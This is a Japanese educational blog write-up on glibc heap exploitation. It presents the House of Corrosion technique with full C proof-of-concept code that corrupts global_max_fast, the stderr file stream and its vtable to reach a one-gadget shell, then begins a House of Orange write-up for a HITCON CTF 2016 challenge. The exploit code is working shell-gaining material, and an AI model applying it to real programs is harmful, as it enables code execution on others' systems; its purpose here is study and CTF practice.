但しAdv1で使うサイズは通常非常に大きく、普通にmallocをしてもそんなに近くは配置されないため
予めoverlapped chunk/UAF等を利用してA/Bを隣接させておく必要がある

その上で B->A の順にfree()をして fake fastbins に繋ぐ
この時点では A の fd には B のアドレスが入っている
UAF等を利用してAの fd の下1byteのみを書き換えて、下図のようなAのみの循環リストを作る
(前述したように下1byteのみならばエントロピーは0である)
この状態でもう一度 DST サイズのmallocをしてAを取得する

f:id:smallkirby:20200224205604p:plain



 

ここでoverlapped chunkを利用してAのサイズを SRC のサイズに書き換える
(ここで使用するoverlapped chunkは後述するようにA/Bを近くに置く過程で自動的に手に入る)
この状態で A をfreeするとAは SRC に繋がるため、Aの fd には VALUE が書き込まれる

f:id:smallkirby:20200224205546p:plain



 

この上でもう一度 DST のサイズでmallocすると、 DST には fd として VALUE が書き込まれることが分かるであろう

f:id:smallkirby:20200224205634p:plain



 

以上のように値の transplantation を行うことができる
更に、Aに VALUE が書き込まれている状態(画像の2枚目の状態)でUAF等を用いて VALUE の一部を書き換えることで
ある値を一部分だけ変更して移植することもできる
これを tamper in flight と呼ぶ

使い方としては、libcの既知のアドレスが格納されているアドレスから値を持ってきて、その下位1byteを書き換えることで任意のアドレスに目的のlibcシンボルのアドレスを書き込むと行ったことが考えられる

(実際にこの手法は以下で説明するシェルを取る方法で使われている)

 

PoCは以下の通り
SRC stderr (Adv2で0xDEADBEEFCAFEBABEを書き込んでいる)、 DSTstderr+0x60 としている
overlapped chunkを作る作業はマクロ化している

//Advantage3: Transplant value from almost arbitrary higher addr from almost arbitrary higher addr
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
#include<assert.h>

#define ull unsigned long long
#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

//A and tmp1 should be the same except for LSByte
#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size)\
  malloc(padd_size);\
  tmp1 = malloc(0x50);\
  A = malloc(0x20);\
  B = malloc(0x20);\
  tmp2 = malloc(0x50);\
  assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
  free(tmp1);\
  free(tmp2);\
  ((char*)tmp2)[0] = LSB_A;\
  tmp2 = malloc(0x50);\
  tmp1 = malloc(0x50);\
  printf("[-]A: %p\n",A);\
  printf("[-]B: %p\n",B);\
  printf("[-]tmp1: %p\n",tmp1);\
  printf("[-]tmp2: %p\n",tmp2);\
  tmp1[1] = (sz+0x10)|1;\
  tmp1[6] = 0;\
  tmp1[7] = (sz+0x10)|1;


ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // calc and get some addrs
  char num;
  ull *addr_stdout = stdout;
  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8); //SRC
  ull size_stderr0x60 = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8 + 0x60); //TARGET
  ull *attack,*A,*B,*tmp1,*tmp2,*padd, *chunk_fake_size;
  ull *target = 0;
  ull temp;
  ull *temp_ptrs[10];
  printf("Advantage 3\n");
  printf("_________________________\n\n");
  printf("* unsortedbin attack *\n");
  printf("[+]&global_max_fast: %p\n",addr_gmf);

  // alloc some chunks (0x30 for avoiding consolidation)
  unsigned long *a = malloc(0x450); //for unsortedbin attack
  malloc(0x30);
  unsigned long *a2 = malloc(0x450);
  malloc(0x30);
  unsigned long *a3 = malloc(0x450);
  malloc(0x30);

  // prepare for preparation
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  attack = malloc(size_stderr);
  
  // prepare for Advantage 3
  GET_CLOSE_CHUNK(A,B,tmp1,tmp2,size_stderr0x60,0x70,0x30); //LSBytes sensitive!!
  chunk_fake_size = malloc(size_stderr0x60 + 0x100); //make fake size for fake fastbin's next chunk
  for(int ix=0;ix!=(size_stderr0x60+0x100)/0x10;++ix){
    *(chunk_fake_size+0+ix*2) = 0x0;
    *(chunk_fake_size+1+ix*2) = 0x30|1;
  }

  //free and UAF
  free(a); //connect to unsortedbin
  
  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
    temp = (ull)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((ull)a+8+ix) = num;
  }
#endif

  //unsorted bin attack:
  printf("[*]unsortedbin attack...\n"); 
  malloc(0x450);
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  
  //check whether the unsorted attack is success or not
  if(*addr_gmf != (ull)addr_main_arena+0x60){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("\n[!]SUCCESS: unsortedbin attack\n");
  }


  /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
  printf("\n* Advantage 2 *\n");
  printf("[+]Target address: %p (stderr)\n",stderr);
  printf("[+]stderr: %llx\n",*(ull*)stderr);
  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
    for(int ix=0;ix!=7;++ix){ //consume tcache
      temp_ptrs[ix] = malloc(size_stderr);
    }
    for(int ix=0;ix!=7;++ix){
      free(temp_ptrs[size_stderr]);
    }
  }
  printf("[*]attack1...\n");
  free(attack);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("[*]attack2...\n");
  attack[0] = 0xdeadbeefcafebabe;
  malloc(size_stderr);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  /**Advantage 3: Transplant the value**/
  printf("\n* Advantage 3 *\n");
  printf("[+]Target addr where transplant from stderr: %p\n",(ull*)((ull)stderr+0x60));
  printf("[+]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));

  free(B);
  free(A);
  ((char*)A)[0] = 0x70; //overwrite fd's LSByte
  WAIT
  A = malloc(size_stderr0x60);

  tmp1[1] = (0x10 + size_stderr)|1; //overwrite A' sz to src(fastbin of B)
  free(A);

  tmp1[1] = (0x10 + size_stderr0x60)|1; //to avoid error when malloc
  printf("[*]attack...\n");
  malloc(size_stderr0x60);
  printf("[!]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));

  printf("\n\nCan you understand? Debug by yourself now.\n");

  //debugging time
  WAIT

  return 0;
}

 

実行すると以下のように stderr+0x60VALUE が書き込まれていることが分かるであろう

f:id:smallkirby:20200224205709p:plain



 

4: シェルを取るまでの概観

以上の3つのAdvantageを組み合わせるとシェルを取ることができる
しかも大きな特徴として

尚自分自身、heap関係はようやく最近入門したと言ってもいいくらいには理解してきたのだが、ファイルストリーム系に関してはまだまだ理解が甘い部分が多いため
間違ったことを述べないよう本エントリではその辺はざっくりとした説明のみを行う
詳細は参考【B】【C】を見ていただきたい

なお近日中にFileExploitationについては整理したエントリを書くつもりである

 

シェルを取るまでの概略は以下の通り

  • heapを整備する
  • global_max_fast を書き換える (unsortedbin attack)
  • stderr を改竄する (とりわけ vtable を書き換え _IO_str_overflow() が呼ばれるようにし、その中での *((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); で onegadgetが呼ばれるようにする
  • _int_malloc() の largebins の処理の最中に assert() を呼ばせ、stderrを動かすことで改竄した vtable を使わせる

 

以下では各ステップをPoCと共に説明する
尚、HoCは出力系が一切なくアドレスリークも無い時に真価を発揮するのだが
本PoCでは便宜上出力系は途中まで生かしておく
(それでも途中でvtableを書き換え、mode=1とするため出力できなくなるのだが)

参考【A】【B】と違い、 how2heap形式での説明を行っている

また順序構成は本家とは変えており、 "Heap Feng Shui" についてはその名前を出さずに説明を行っている

 

5: heapを整備する

本exploitはその最中に大量の memory corruption を作り出すため、最初にheapがきれいな状態でheapを整備しておく必要がある

各々の操作の詳しい説明は後で必要になった時に説明することとして
取り敢えずやっておくべき処理は以下のとおりである 

largebinに繋ぐ用のchunkを作る

後々 largebin に繋がるように、1024byte 以上の chunk を作っておく
このchunkはこの後 largebin に繋いだ後、 NON_MAINARENAフラグを立てる
すると int_malloc() の処理で assert() が呼ばれることになる(これは最終ステージで使う)
尚、 largebin 相当のサイズの chunk が unsortedbin に繋がった後それ以上のサイズのmalloc()が行われたときのみ largebin に繋がれることに注意

  printf("* Preparing for some chunks ...*\n");
  ull *padding = malloc(0x20);
  ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
 

global_max_fast を書き換えるための unsortebin attack 用のchunkを作る

HoC の一番とっかかりである gmf の書き換えをする unsortedbin attack 用のchunkを作っておく

書き換え前の global_max_fast よりも小さい値 (<0x80) ならば何でもOK

但し、途中でconsolidationされないように、間に chunk を挟んでおくなどする必要がある

  ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
 

overlapped chunkとfake sizeを作る

stderr_IO_buf_endと stderrの_allocate_bufferを書き換えるためにAdv3を使うのだが、そこで必要となる overlapped chunk を用意しておく
これは単純作業のためマクロ化している

また、Adv3では chunk(A) のサイズを書き換えることで値の transplantation を行うのであったが、 このサイズの書き換えをした上で malloc/free をしても怒られないように
続く領域を fake size で埋めておく (sizeはMIN_SIZE以上システムメモリサイズ以下ならば何でも良い)

尚この際に A の fd を自分自身を指すように書き換えなければならないため
Aが配置されるアドレスの下1byteは事前に調べておき、動くことのないようにしておく必要がある (やはり前述したように heap の下3nibbleは固定であるため、個々で調べた値は変更を加えない限り何回プログラムを動かしても同じである)

  // Prepare for Advantage 3
  /* LSB SENSITIVE !!! */
  GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
  GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);

  chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
  for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
    *(chunk_fake_size+0+ix*2) = 0x0;
    *(chunk_fake_size+1+ix*2) = 0x30|1;
  }


Adv2用のchunkを作る

Adv2による任意値の書き込みに使う用のchunkを大量に作っておく
数が多いだけで、全て fastbinsY と target のオフセットをサイズ公式に入れた値分だけmalloc()しているだけである

  //Malloc chunks for Advantage2
  dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
  pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
  stderr_mode_chunk = malloc(size_stderr_mode);
  stderr_flags_chunk = malloc(size_stderr_flags);
  stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
  stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
  stderr_vtable_chunk = malloc(size_stderr_vtable);
  stdout_mode_chunk = malloc(size_stdout_mode);


6: largebinにchunkを繋げる

最終フェーズで assert() を呼ぶだめに必要な largebin に先程用意したchunkを繋げる
 free() 後に malloc() する chunk は largebin 用の chunk よりも大きなサイズでないとunsortedbin が分割されそこから取得されてしまうので注意
その後UAF等を用いて NON_MAINARENA を立てる
これで largebin の検査の際にこのchunkに遭遇すると assert() が起こるようになる

  //Connect to largebin with NON_MAINARENA 1
  printf("\n* Connecting to largebin...*\n");
  free(largebin);
  malloc(0x500);
  ((ull*)(((ull)largebin)-0x10))[0] = 0;
  ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA

7: Unsortedbin attack で gmf を書き換える

やるだけなので省略する
尚、全てまとめた完成版のPoCは本エントリの最後に載せてある


8: Unsortedbinのbkを正常のchunkにする

これも先程述べた largebin に関係している
malloc() の際には largebin の探索の前に unsortedbin の探索が走るわけだが
普通に unsortedbin attack をしただけの状態だと unsortedbin->bkdumped_main_arena_end を指している
そしてこの dumped_main_arena は chunk として見ると bk にNULLが入ってしまっている

f:id:smallkirby:20200224210034p:plain

 

よってこれを正常な値にしてやらないと
largebinの探索にまで入らず、 assert() が起こらないことになる
そこでこの辺りをあたかも通常のunsortedであるかのように見せるために、 sizebk に該当する部分を書き換えてやる

  // Make unsortedbin's bk VALID
  printf("\n* Make unsortedbin's bk VALID...*\n");
  ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
  free(pedantic_chunk); //fd/bk
  printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
  printf("global_max_fast      : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));

9: vtableを始めとするストリームの改竄

あとは ADV2/ADV3 を用いて諸々の書き換えを行うだけである
ADV3では前述した tamper in flight もできるようなマクロを作ってある

まず今回は出力系が生きているため stderr/stdoutmode を1にすることで一旦殺す
(そうしないとストリームを改竄した際にクラッシュする)

その後、_IO_str_overflow() に於いて flags を用いた処理で止まらないように stderr->flagsを0にしておく
また、確実に出力処理がなされるように stderr->_IO_write_ptr を非常に大きな値にしておく

  ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
  ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
  ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
  ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);

改竄はもう少し続く
stderr->_IO_buf_end には何かしら大きな値を入れておく必要がある (ここの理由がまだ分かってない。。。)
だが後述するように stderr->_IO_buf_base との差分が重要になってくるため、これは既知の値である必要がある
そこで、ここには _morecore に入っている値 (=__default_morecoreのアドレス) を入れておくことにする

また、 _IO_str_overflow()call rax gadget を呼ばせるのだが
この呼び出しをする際の rax の値が _IO_buf_end - _IO_buf_base になっており、これを onegadget のアドレスにしなければならない


先程 _IO_buf_end には _default_morecore のアドレスを入れたから
ここには __default_morecore と call rax gadget のオフセットを入れておく
__morecore は後でもう一度使うため、もう一度 malloc() することで正常な値を戻しておく

  // Transplant __morecore's value to stderr->file._IO_buf_end
  ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
  tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
  A1 = malloc(size_morecore); 

 

あと2点だけ
結局のところやりたいことは
assert() => _IO_file_jumps->_IO_new_file_xsputn
となるところを書き換えて
assert() => _IO_str_jumps->_IO_str_overflow => _allocate_buffer == call rax => onegadget
という流れを作ることである

よって後は _IO_file_jumps を _IO_str_jumps に書き換え、しかも xsputn に該当する部分が _IO_str_overflow に該当するようにずらしておく

f:id:smallkirby:20200224210203p:plain

 

f:id:smallkirby:20200224210218p:plain

 

そのオフセットは0x20であるから、vtableには _IO_str_jumps-0x20 のアドレスを入れておけば良い

  // Write LSByte of _IO_str_jumps on stderr->vtable  
  ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));

 

 

そして最後に _allocate_buffer を onegadget に書き換えてしまえば終わりである
尚この最後の書き換えは tampler in flight を用いて
__default_morecore の下2byteを書き換えることで行う
(このような下2byteの書き換えはPoCの中で3箇所で行われているが、最初の書き換えに成功した時点で残りの書き換えには全て成功するため、結局のところ全体が有するエントロピーは4bitに変わりない)

  // Transplant __morecore's value to _s._allocate_buffer
  ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax);


さて、長い長い改竄が終わった
以上の書き換えを行うと、 stderr は以下のようになる

f:id:smallkirby:20200224210106p:plain

 

f:id:smallkirby:20200224210122p:plain



 

10: assert()で発火させる

これらの準備をした上で小さなサイズの malloc() を すると以下の箇所で assert() (_malloc_assert()) が呼ばれる
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3829

これによって上に示したようなフローで stderr を動かすことができ、シェルが取れるはずである

 

 

 

11: PoC

各Advantageはマクロ化している
DEBUGマクロを外すことで実際のエントロピーを失わずに実験することができる

// House of Corrosion : PoC in the format of how2heap
// Even though DEBUG is defined, this exploit has some uncertainity due to the libc load addr's entropy

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
#include<assert.h>

#define ull unsigned long long
#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

//A and tmp1 should be the same except for LSByte
#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size) \
  malloc(padd_size);\
  tmp1 = malloc(0x50);\
  A = malloc(0x20);\
  B = malloc(0x20);\
  tmp2 = malloc(0x50);\
  assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
  free(tmp1);\
  free(tmp2);\
  ((char*)tmp2)[0] = LSB_A;\
  tmp2 = malloc(0x50);\
  tmp1 = malloc(0x50);\
  printf("[-]tmp1: %p\n",tmp1);\
  printf("[-]tmp2: %p\n",tmp2);\
  tmp1[1] = (sz+0x10)|1;\
  tmp1[6] = 0;\
  tmp1[7] = (sz+0x10)|1;\
  printf("[-]A: %p\n",A);\
  printf("[-]B: %p\n",B);

#define ADV2(chunk,value,size) \
  free(chunk);\
  chunk[0] = value;\
  malloc(size);

#define ADV2_WITH_CHANGE(chunk, value, size, value_size)\
  free(chunk);\
  if(value_size == 0x2) ((short*)chunk)[0] = value;\
  else {printf("ERROR\n"); exit(0);}\
  chunk = malloc(size);

#define ADV3(chunkA, chunkB, tmp, LSB_A, size_DST, size_SRC, tamper_flight_flag, tamper_value)\
  free(chunkB);\
  free(chunkA);\
  ((char*)chunkA)[0] = LSB_A;\
  chunkA = malloc(size_DST); \
  tmp[1] = (0x10 + size_SRC)|1; \
  free(chunkA); \
  tmp[1] = (0x10 + size_DST)|1; /* to avoid corruption detection */\
  if(tamper_flight_flag==1) ((short*)chunkA)[0] = tamper_value;\
  chunkA = malloc(size_DST);

//This 3 variables must be set (have the same 4-bit entropy)
void *LSBs_gmf = 0xc940; //global_max_fast: 4nibble目は適当
void *LSBs_IO_str_jumps = 0x7360-0x20; // -0x20 is NEEDED to call _IO_str_overflow instead of xsputn
void *LSBs_call_rax = 0xc610;; // this must be nearby default_morecore

void *off_gmf_libcbase = 0x3ed940;
void *off_stdout_libcbase = 0x3ec760;
void *off_arena_libcbase = 0x3ebc40;
ull off_fastbinY_stderr = 0xa28;

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // Calc and get some addrs
  char num;
  void *addr_stdout = stdout;
  void *libcbase = addr_stdout - off_stdout_libcbase;
  ull *addr_IO_file_jumps = 0x3e82a0 + (ull)libcbase;
  void *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  void *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_IO_str_overflow = (ull)libcbase + 0x8ff60;
  ull addr_IO_str_jumps = (ull)libcbase + 0x3e8360;
  ull addr_call_rax = (ull)libcbase + 0x8d610;
  void *addr_fastbinY = (ull)addr_main_arena + 0x60;
  ull *A1,*B1,*A2,*B2,*tmp11,*tmp21,*temp12,*tmp22,*padd, *chunk_fake_size;
  ull *dumped_main_arena_end_chunk, *pedantic_chunk;
  ull *stderr_mode_chunk, *stderr_flags_chunk, *stderr_IO_buf_base_chunk, *stderr_IO_write_ptr_chunk, *stderr_s_alloc_chunk, *stderr_vtable_chunk;
  ull *stdout_mode_chunk;
  ull temp;
  ull *temp_ptrs[10];
  unsigned sz1=size_formula(off_fastbinY_stderr+0x60);
  unsigned size_dumped_main_arena_end = size_formula(0x1ce0); //WHY 8??
  unsigned size_stderr_flags = size_formula(0xa30) - 0x8;
  unsigned size_stderr_mode = size_formula(0xa30+0xc0) - 0x8;
  unsigned size_stderr_IO_buf_base = size_formula(0xa30+0x38 - 0x8);
  unsigned size_stderr_IO_write_ptr = size_formula(0xa30+0x28 - 0x8);
  unsigned size_stderr_IO_buf_end = size_formula(0xa30+0x30 + 0x8);
  unsigned size_stderr_vtable = size_formula(0xa30+0xd8 - 0x8);
  unsigned size_stderr_s_alloc = size_formula(0xa30+0xe0 - 0x8);
  unsigned size_stdout_mode = size_formula(0xb10 + 0xc0 - 0x8);
  unsigned size_morecore = size_formula(0x888-0x8); //WHY 8??
  ull *onegadget = 0x00021b95;
  unsigned off_default_morecore_onegadget = 0x4becb;
  printf("House of Corrosion : PoC\n");
  printf("___________________________________\n\n");
  printf("__LIBC INFO__\n");
  printf("libcbase : %p\n",libcbase); 
  printf("mainarena: %p\n",addr_main_arena);
  printf("fastbinsY: %p\n",addr_fastbinY);
  printf("global_max_fast: %p\n",addr_gmf);
  printf("call rax: %p\n",addr_call_rax);
  printf("___________________________________\n\n");

  // Alloc some chunks 
  printf("* Preparing for some chunks ...*\n");
  ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
  ull *padding = malloc(0x20);
  ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
  ull *avoid_consolidation = malloc(0x110-0x30);

  // Prepare for Advantage 3
  /* LSB SENSITIVE !!! */
  GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
  GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);

  chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
  for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
    *(chunk_fake_size+0+ix*2) = 0x0;
    *(chunk_fake_size+1+ix*2) = 0x30|1;
  }

  //Malloc chunks for Advantage2
  dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
  pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
  stderr_mode_chunk = malloc(size_stderr_mode);
  stderr_flags_chunk = malloc(size_stderr_flags);
  stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
  stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
  stderr_vtable_chunk = malloc(size_stderr_vtable);
  stdout_mode_chunk = malloc(size_stdout_mode);
  printf("[*]DONE\n");

  //Connect to largebin with NON_MAINARENA 1
  printf("\n* Connecting to largebin...*\n");
  free(largebin);
  malloc(0x500);
  ((ull*)(((ull)largebin)-0x10))[0] = 0;
  ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA
  printf("[*]DONE\n");

  //Unsortedbin Attack
  printf("\n* Doing unsortedbin attack agains global_max_fast...*\n");
  free(a);

  a[0] = 0xfffff; //victim->fd
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //libcの情報からgmfを計算しているため100%正確な位置に書き込める。 いちいちデバッグでbrute-forceめんどいから
    temp = (unsigned long long)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }

  //calculate the 100% accurate LSbytes
  LSBs_IO_str_jumps = (addr_IO_str_jumps-0x20)&0xffff;
  LSBs_call_rax = addr_call_rax&0xffff;
#endif

  malloc(0x450); //unsorted attack!! 
  
  //Check whether the unsorted attack is success or not
  if(*((ull*)addr_gmf) != (ull)addr_main_arena + 96){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("[!]SUCCESS: unsortedbin attack\n");
  }
  

  // Make unsortedbin's bk VALID
  printf("\n* Make unsortedbin's bk VALID...*\n");
  ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
  free(pedantic_chunk); //fd/bk
  printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
  printf("global_max_fast      : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));

  // Overwrite vtable and so on
  printf("\n* Overwriting some addrs...*\n");
  printf("HOWEVER, I can't speak from now on due to the corruption.\n");
  printf("Wish you can get shell, bye.\n\n");
  ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
  ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
  ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
  ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);
  ADV2(stderr_IO_buf_base_chunk, off_default_morecore_onegadget, size_stderr_IO_buf_base);


  // Transplant __morecore's value to stderr->file._IO_buf_end
  ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
  tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
  A1 = malloc(size_morecore); 

  // Write LSByte of _IO_str_jumps on stderr->vtable  
  ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));
  
  // Transplant __morecore's value to _s._allocate_buffer
  ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax);

  //Trigger assert()
  malloc(0x50);

  printf("You won't reach here. Can you get a shell??");

  return 0;
}

12: 結果

5回に1回程度成功し、それ以外は SegmentationFault になる

f:id:smallkirby:20200224210247p:plain

 

 

13: アウトロ

ファイルストリーム系の理解が甘いために曖昧な説明になってしまった部分が多いのが情けない
以降は一旦heap系は置いておいて、ファイルストリーム系を勉強し直そうと思う








続く

【pwn 18.0】House of Orange - HITCON CTF 2016

 

f:id:smallkirby:20200126024248p:plain

House of Orange

 

 

 

 

 

 

 

0: 参考

ctf-wiki.github.io

github.com

4ngelboy.blogspot.com

 

 

 

 1: イントロ

今更2016年のこの超有名問題を解くというのも懐古厨臭さが否めない

heap問題を解き始めたくらいのときに出会って当時はよくわからず放置していたが

この問題を解いていないことが無性に恥ずかしくなったためさっさと解いてしまうことにする

 

但し目的はHouser of Orangeの手法のおさらいであり

そのPoCを兼ねて HITCON CTF 2016pwn500点問題 "House of Orange" を解くという形である

(と最初は思っていたが、HoOを使った後のほうが格段に難しかった)

 

2: House of Orange

Recquirements

 

  • top chunkが以下の条件を全て満たすこと

   ・size >= MINSIZE(0x10)

   ・size < MINSIZE + user recquired chunk size

   ・PREV_INUSEが立っている

   ・top addr + top size が4KB(1P) alignされていること (つまりアドレスの下3nibbleが000であること)

  • 以上の条件を満たせるように

   ・topのsizeをoverwriteできるようなバグがあること

   ・ある程度任意サイズのchunkをmalloc()できること

 

概要

Houser of Orangeは2016年HITCONで出題された問題の名を冠するheapテクニックである

free()を任意に呼び出すことができない状態で、topをunsortedに繋ぐことを目的としている

(その後のunsorted attack -> _IO_list_all書き換えまでの流れを含むのかどうかはわからない)

 

解説

 方法自体は難しいことはなく

topのsizeを小さく書き換えて、次のmalloc()でbrk()を呼ぼうぜというだけ

但しあまりにでかいmalloc()をするとmmap()されるため注意

 

特筆すべきことはないが以下のページに詳しくまとまっている

ctf-wiki.github.io

 

 

 

3: PoC = HITCON2016

表層解析

./houseoforange: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al

 

name bufを任意サイズでmallocする "build"

確保したname bufに改めてread()する "update" という2つの操作があり

前者は4回、後者は3回のみ行うことができる

 

なお配布libcは2.23であるためDocker環境を用意して

その中にpwndbg等を入れてデバッグできるようにした

 

 

 

とっかかりの脆弱性

1=non-NULL terminated input

nameの入力時にread()を用いており入力がNULL終端されない

 

2=heap overflow

CTFなんてのはupdate()的な関数があったらまぁそこに自明な脆弱性がある

            printf("Length of name :");
            l20_len_name = read_int();
            if (0x1000 < l20_len_name) {
                l20_len_name = 0x1000;
            }
            printf("Name:");
            read_check(303068_cur_house->name,(ulong)l20_len_name);

update()に於いてbuild()時に確保したname bufに対してそのsizeを超えるような入力が可能になっている

ここでname bufのheap overflowが可能



libc_baseのleak (HoO)

これらの脆弱性を使うと以下のことが可能

・name bufのほぼ任意サイズのoverflowが可能(4回)

・故にname bufより上位アドレスのleakが可能(4回)

 

まず適当なname bufを作ってupdateし(1消費)、name bufのoverflowを用いてHouse of Orangeをする

直後に大きめのオレンジを作って_int_free()を呼び出し、topをunsortedに繋げる

続いてupdateしてHoOにより出現したmain_arenaのアドレスをleakする(2消費)

 

この時点で残りは update:1回 build:1回 である

unsortedのfdを書き換えるのにupdateを1回消費し

書き換えた先に書き込むのにbuildを1回消費してしまうため

unsortedのガード機構をごまかすための手段がない

 

そもそもそこを書き換えられたとしても

malloc()を呼ぶ手段すらなくなってしまうためone gadgetを発火させる手段がない

 

 

 

 

